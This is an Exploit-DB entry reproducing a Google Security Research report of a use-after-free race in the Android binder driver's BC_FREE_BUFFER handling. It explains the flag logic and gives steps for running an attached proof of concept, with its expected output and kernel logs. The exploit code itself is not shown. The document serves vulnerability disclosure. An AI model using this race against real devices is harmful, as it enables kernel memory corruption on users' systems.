Exploit-DB #46503
Description: Android - binder Use-After-Free via racy Initialization of ->allow_user_free
Type: dos
Platform: android
Date: 2019-03-06
Author: Google Security Research

Exploit:
The following bug report solely looks at the situation on the upstream master
branch; while from a cursory look, at least the wahoo kernel also looks
affected, I have only properly tested this on upstream master.

The binder driver permits userspace to free buffers in the kernel-managed shared
memory region by using the BC_FREE_BUFFER command. This command implements the
following restrictions:

 - binder_alloc_prepare_to_free_locked() verifies that the pointer points to a
   buffer
 - binder_alloc_prepare_to_free_locked() verifies that the ->free_in_progress
   flag is not yet set, and sets it
 - binder_thread_write() verifies that the ->allow_user_free flag is set

The first two of these checks happen with alloc->mutex held.


The ->free_in_progress flag can be set in the following places:

 - new buffers are allocated with kzalloc() and therefore have the flag set to 0
 - binder_alloc_prepare_to_free_locked() sets it to 1 when starting to free a
   buffer
 - binder_alloc_new_buf_locked() sets it to 0 when a buffer is allocated

This means that a buffer coming from binder_alloc_new_buf() always has this flag
clear.


The ->allow_user_free flag can be set in the following places:
 - new buffers are allocated with kzalloc() and therefore have the flag set to 0
 - binder_transaction() sets it to 0 after allocating a buffer with
   binder_alloc_new_buf()
 - binder_thread_read() sets it to 1 after an allocated buffer has been filled
   with data for userspace

This means that a buffer coming from binder_alloc_new_buf() may have the flag
either clear or set: If the buffer is new, the bit is 0; but if the buffer has
previously been used, the bit remains 1 from the previous use.


Therefore, it can be possible for userspace to free a buffer coming from
binder_alloc_new_buf(). Directly after the call to binder_alloc_new_buf(),
->allow_user_free is set to zero; but there is a small race window in which an
attacker can use BC_FREE_BUFFER to free the buffer.



I am attaching a proof of concept for the upstream git master kernel running on
a normal desktop system.
Unpack the attached binder_race_freebuf.tar.
Patch the kernel with 0001-binder-race-helper.patch to widen the race window and
add some debug logging. Build it and boot into it.
Use ./compile.sh to build the PoC, then run ./poc as root.

The output should look like this:
===============
# ./poc
### FIRST PING
0000: 00 . 00 . 00 . 00 .
BR_NOOP:
BR_TRANSACTION:
  target [PII_REDACTED]  cookie [PII_REDACTED]  code 00000001  flags 00000010
  pid     1192  uid        0  data 4  offs 0
0000: 00 . 00 . 00 . 00 .
got transaction!
binder_send_reply(status=0)
offsets=0x7ffc68d94ec0, offsets_size=0
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_REPLY:
  target [PII_REDACTED]  cookie [PII_REDACTED]  code 00000000  flags 00000000
  pid        0  uid        0  data 4  offs 0
0000: 00 . 00 . 00 . 00 .
binder_done: freeing buffer
binder_done: free done
### SECOND PING
0000: 00 . 00 . 00 . 00 .
### ATTEMPTING FREE IN RACE WINDOW
### END OF FREE IN RACE WINDOW, FLUSHING PAGE
### END OF PAGE FLUSH
===============

You should see something like this in dmesg (if you have
/sys/module/binder/parameters/debug_mask set to 16383):
===============
[   71.555144] binder: binder_open: 1191:1191
[   71.557091] binder: binder_mmap: 1191 7f273d896000-7f273dc96000 (4096 K) vma 71 pagep [PII_REDACTED]
[   71.560020] binder: 1191:1191 node 1 u[PII_REDACTED]000000 c[PII_REDACTED]000000 created
[   71.563526] binder: 1191:1191 write 4 at 00007ffc68d95020, read 0 at [PII_REDACTED]
[   71.566453] binder: 1191:1191 BC_ENTER_LOOPER
[   71.568390] binder: 1191:1191 wrote 4 of 4, read return 0 of 0
[   71.571268] binder: 1191:1191 write 0 at [PII_REDACTED], read 128 at 00007ffc68d95020
[   72.555736] binder: binder_open: 1192:1192
[   72.558848] binder: binder_mmap: 1192 7f273d896000-7f273dc96000 (4096 K) vma 71 pagep [PII_REDACTED]
[   72.564619] binder: 1192:1192 write 68 at 00007ffc68d93fa0, read 128 at 00007ffc68d93f20
[   72.568033] binder: 1192:1192 BC_TRANSACTION 2 -> 1191 - node 1, data 00007ffc68d94070-00007ffc68d94050 size 4-0-0
[   72.571666] binder: [1192] ENTERING SLEEP BEFORE ZEROING allow_user_free (data{user}=0x00007f273d896000 allow_user_free=0 free_in_progress=0 free=0)
[   82.692703] binder: [1192] LEAVING SLEEP BEFORE ZEROING allow_user_free (allow_user_free=0 free_in_progress=0 free=0)
[   82.699956] binder: 1191:1191 BR_TRANSACTION 2 1192:1192, cmd [PII_REDACTED] size 4-0 ptr 00007f273d[PII_REDACTED]7f273d896008
[   82.707859] binder: 1191:1191 wrote 0 of 0, read return 72 of 128
[   82.712176] binder: 1191:1191 write 88 at 00007ffc68d94da0, read 0 at [PII_REDACTED]
[   82.715038] binder: 1191:1191 BC_FREE_BUFFER u00007f273d896000 found buffer 2 for active transaction
[   82.717791] binder: 1191 buffer release 2, size 4-0, failed at 000000004a5bea11
[   82.720813] binder: 1191:1191 BC_REPLY 3 -> 1192:1192, data 00007ffc68d94ee0-00007ffc68d94ec0 size 4-0-0
[   82.723643] binder: [1191] ENTERING SLEEP BEFORE ZEROING allow_user_free (data{user}=0x00007f273d896000 allow_user_free=0 free_in_progress=0 free=0)
[   92.932760] binder: [1191] LEAVING SLEEP BEFORE ZEROING allow_user_free (allow_user_free=0 free_in_progress=0 free=0)
[   92.939182] binder: 1191:1191 wrote 88 of 88, read return 0 of 0
[   92.939230] binder: 1192:1192 BR_TRANSACTION_COMPLETE
[   92.943073] binder: 1191:1191 write 0 at [PII_REDACTED], read 128 at 00007ffc68d95020
[   92.943077] binder: 1191:1191 BR_TRANSACTION_COMPLETE
[   92.943088] binder: 1191:1191 wrote 0 of 0, read return 8 of 128
[   92.946332] binder: 1192:1192 BR_REPLY 3 0:0, cmd [PII_REDACTED] size 4-0 ptr 00007f273d[PII_REDACTED]7f273d896008
[   92.949858] binder: 1191:1191 write 0 at [PII_REDACTED], read 128 at 00007ffc68d95020
[   92.952057] binder: 1192:1192 wrote 68 of 68, read return 7